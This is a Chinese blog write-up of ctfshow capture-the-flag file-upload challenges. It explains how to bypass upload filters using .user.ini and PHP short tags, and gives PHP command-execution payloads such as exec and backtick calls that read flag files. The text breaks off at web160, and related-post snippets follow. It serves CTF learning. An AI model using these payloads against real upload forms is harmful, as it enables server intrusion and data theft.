[ctfshow]web入门——文件上传（web156-web163）

[ctfshow]web入门——文件上传

[ctfshow]web入门——文件上传（web156-web163）
web156
- 上传.user.ini
web157
web158
web159
web160
- 上传.user.ini+日志包含
web161
web162
- way1：远程文件包含
- way2：session条件竞争包含
web163

本文来自csdn的⭐️shu天⭐️，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主看看ヾ(＠ ˘ω˘ ＠)ノ！！

web156

上传.user.ini

上传口

试了试upload界面有一个默认文件，可以用上传.user.ini的方法

后台应该是屏蔽了很多字符串（php,eval,post等等），甚至连正常图片都传不上去
试了一下php短标签<? ?>还可以用
先找一下flag在哪

然后读flag的内容

<? exec("cat ../flag* > 2.txt");?>

访问/upload/，然后再访问/upload/2.txt，看到flag

web157

payload同上题，屏蔽了;

<? exec("cat ../flag* > 2.txt")?>

web158

payload同上题

<? exec("cat ../flag* > 2.txt")?>

web159

payload同上，括号被屏蔽，用反引号执行命令

<? `cat ../flag* > 2.txt` ?>

web160

上传.user.ini+日志包含

过滤了反引号和空格，没有办法上传危险的函数了
所以利用include文件包含传

[ctfshow]web入门——文件上传（web156-web163）相关推荐

CTFshow——web入门——文件上传
web入门-文件上传 web151 web152 web153 web154 web155 web156 web157 web158 web159 web160 web161 web162.web16 ...
CTFshow web入门——文件上传
目录 Web 151 考点:后端无验证,前端校验 Web 152 考点:绕过前端校验 Web 153 考点:文件后缀名,黑名单 Web 154-155 考点:文件内容过滤,过滤关键字是php Web ...
2020小迪培训（第21天 WEB 漏洞-文件上传之后端黑白名单绕过）
WEB 漏洞-文件上传之后端黑白名单绕过前言文件上传常见验证后缀名,类型,文件头等后缀名:黑名单,白名单黑名单:明确不允许上传的格式后缀 asp php jsp cgi war- 缺陷:在定 ...
WEB漏洞-文件上传之后端黑白名单绕过
WEB漏洞-文件上传之后端黑白名单绕过文件上传常见验证:后缀名,类型,文件头后缀名:黑名单,白名单黑名单:asp php jsp aspx cgi war- 白名单: txt jpg zip r ...
2020小迪培训（第20天WEB 漏洞-文件上传之基础及过滤方式）
WEB 漏洞-文件上传之基础及过滤方式前言知识点什么是文件上传漏洞? 有文件上传不一定存在漏洞凡是存在文件上传的地方/功能的地方都可以进行文件上传漏洞测试上传文件操作的代码的完整性.安全性, ...
ctf-web入门-文件上传
Web 151 考点:后端无验证,前端校验查看源码可以发现只能上传png图片修改为php 写一个php文件上传一句话木马可以发现已经成功上传查看上级目录发现可疑文件查看flag.php文件内 ...
上传文件白名单_十大常见web漏洞——文件上传漏洞
漏洞介绍在我们浏览网页时,文件上传是非常常见的,比如我们会上传头像.附件.视频等文件,文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文 ...
用VSCode开发一个asp.net core2.0+angular5项目(5): Angular5+asp.net core 2.0 web api文件上传...
第一部分: http://www.cnblogs.com/cgzl/p/8478993.html 第二部分: http://www.cnblogs.com/cgzl/p/8481825.html 第三 ...
Stream - Web大文件上传插件
Stream 简介 Stream 是根据某网的文件上传插件加工而来,支持不同平台(Windows, Linux, Mac, Android, iOS)下,主流浏览器(IE7+, Chrome, Fir ...

[ctfshow]web入门——文件上传（web156-web163）

[ctfshow]web入门——文件上传（web156-web163）

[ctfshow]web入门——文件上传

web156

上传.user.ini

web157

web158

web159

web160

上传.user.ini+日志包含

[ctfshow]web入门——文件上传（web156-web163）相关推荐

最新文章

热门文章